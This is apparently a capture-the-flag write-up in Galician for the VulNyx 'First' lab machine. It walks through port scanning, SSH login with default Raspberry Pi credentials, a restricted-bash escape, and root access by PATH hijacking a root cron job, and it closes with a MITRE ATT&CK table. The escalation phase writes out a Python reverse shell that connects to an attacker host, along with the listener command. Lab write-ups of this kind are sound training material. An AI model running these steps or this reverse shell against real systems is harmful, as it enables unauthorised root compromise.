Doc vulnyx first
Máquina virtual First


A máquina First é moi interesante porque...
- Credenciais por defecto de Raspberry Pi (pi/raspberry)
- Evasión de restricted bash con --noprofile
- PATH hijacking clásico: /var/www/html no PATH antes que /usr/bin
- Tarefa cron que executa ping como root cada minuto
- Escalada vertical mediante manipulación do PATH
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_First -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_First # 22,80
whatweb IP_VulNyx_First
curl -I IP_VulNyx_First
Fase 2 — Análise
# Enumeración de directorios web
dirb http://IP_VulNyx_First
# Directorio descuberto
firefox http://IP_VulNyx_First/[directorio] &
# Texto visible: "Update Raspberry"
# Información recolectada:
# - Sistema: Raspberry Pi
# - Credenciais por defecto comúns en Raspberry Pi: pi/raspberry
Fase 3 — Explotación
# Acceso SSH con credenciais por defecto
ssh pi@IP_VulNyx_First
# Contrasinal: raspberry
# Detectamos restricted bash (rbash)
cd /var/www/html # Funciona parcialmente
# Saída e reacceso con bash sen perfil
exit
# Acceso SSH especificando bash sen perfil para evitar rbash
ssh pi@IP_VulNyx_First -t "bash --noprofile"
# ⇒ Conseguimos consola de usuario pi sen restricións (flag user.txt)
Fase 4 — Post‑explotación
# Verificación de permisos de escritura
ls -ld /var/www/html
# Permisos de escritura para o usuario pi
# Análise de tarefas programadas
cat /etc/crontab
# PATH=/usr/local/sbin:/usr/local/bin:/sbin:/var/www/html:/bin:/usr/sbin:/usr/bin
# * * * * * root ping -c1 raspberrypi.com
# Análise do PATH:
# - /var/www/html está ANTES de /usr/bin no PATH
# - A tarefa cron executa 'ping' como root cada minuto
# - whereis ping → /usr/bin/ping
# - Pero o sistema buscará primeiro en /var/www/html
# Creación de script malicioso chamado 'ping' en /var/www/html
# URL de interese: https://www.revshells.com/
cat > /var/www/html/ping << 'EOF'
#!/bin/bash
export RHOST="IP_Atacante"
export RPORT=4444
python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
EOF
# Permisos de execución
chmod +x /var/www/html/ping
# Preparamos listener no atacante
nc -nlvp 4444
# Esperamos a que cron execute a tarefa (cada minuto)
# ⇒ Obtemos reverse shell de root
# Verificación (na reverse shell)
id # uid=0(root) gid=0(root) grupos=0(root)
# Mellora da TTY shell
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: First
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Identificación de sistema Raspberry Pi | Fingerprinting / system identification | T1592.004 — Gather Victim Host Information: Client Configurations T1590 — Gather Victim Network Information |
CWE-200 — Information Exposure |
| 3. Explotación | Acceso SSH con credenciais por defecto | Default credentials | T1078.001 — Valid Accounts: Default Accounts T1021.004 — Remote Services: SSH |
CWE-798 — Use of Hard-coded Credentials |
| Evasión de restricted bash mediante --noprofile | Shell restriction bypass | T1059.004 — Command and Scripting Interpreter: Unix Shell T1562.004 — Impair Defenses: Disable or Modify System Firewall |
CWE-284 — Improper Access Control | |
| 4. Post-explotación | Análise de /etc/crontab e PATH hijacking | Discovery / privilege escalation preparation | T1053.003 — Scheduled Task/Job: Cron T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable |
CWE-426 — Untrusted Search Path |
| Creación de script malicioso en /var/www/html | PATH hijacking | T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable T1053.003 — Scheduled Task/Job: Cron |
CWE-426 — Untrusted Search Path; CWE-732 — Incorrect Permission Assignment for Critical Resource | |
| Execución de tarefa cron e obtención de shell root | Privilege escalation via cron | T1053.003 — Scheduled Task/Job: Cron T1068 — Exploitation for Privilege Escalation |
CWE-269 — Improper Privilege Management |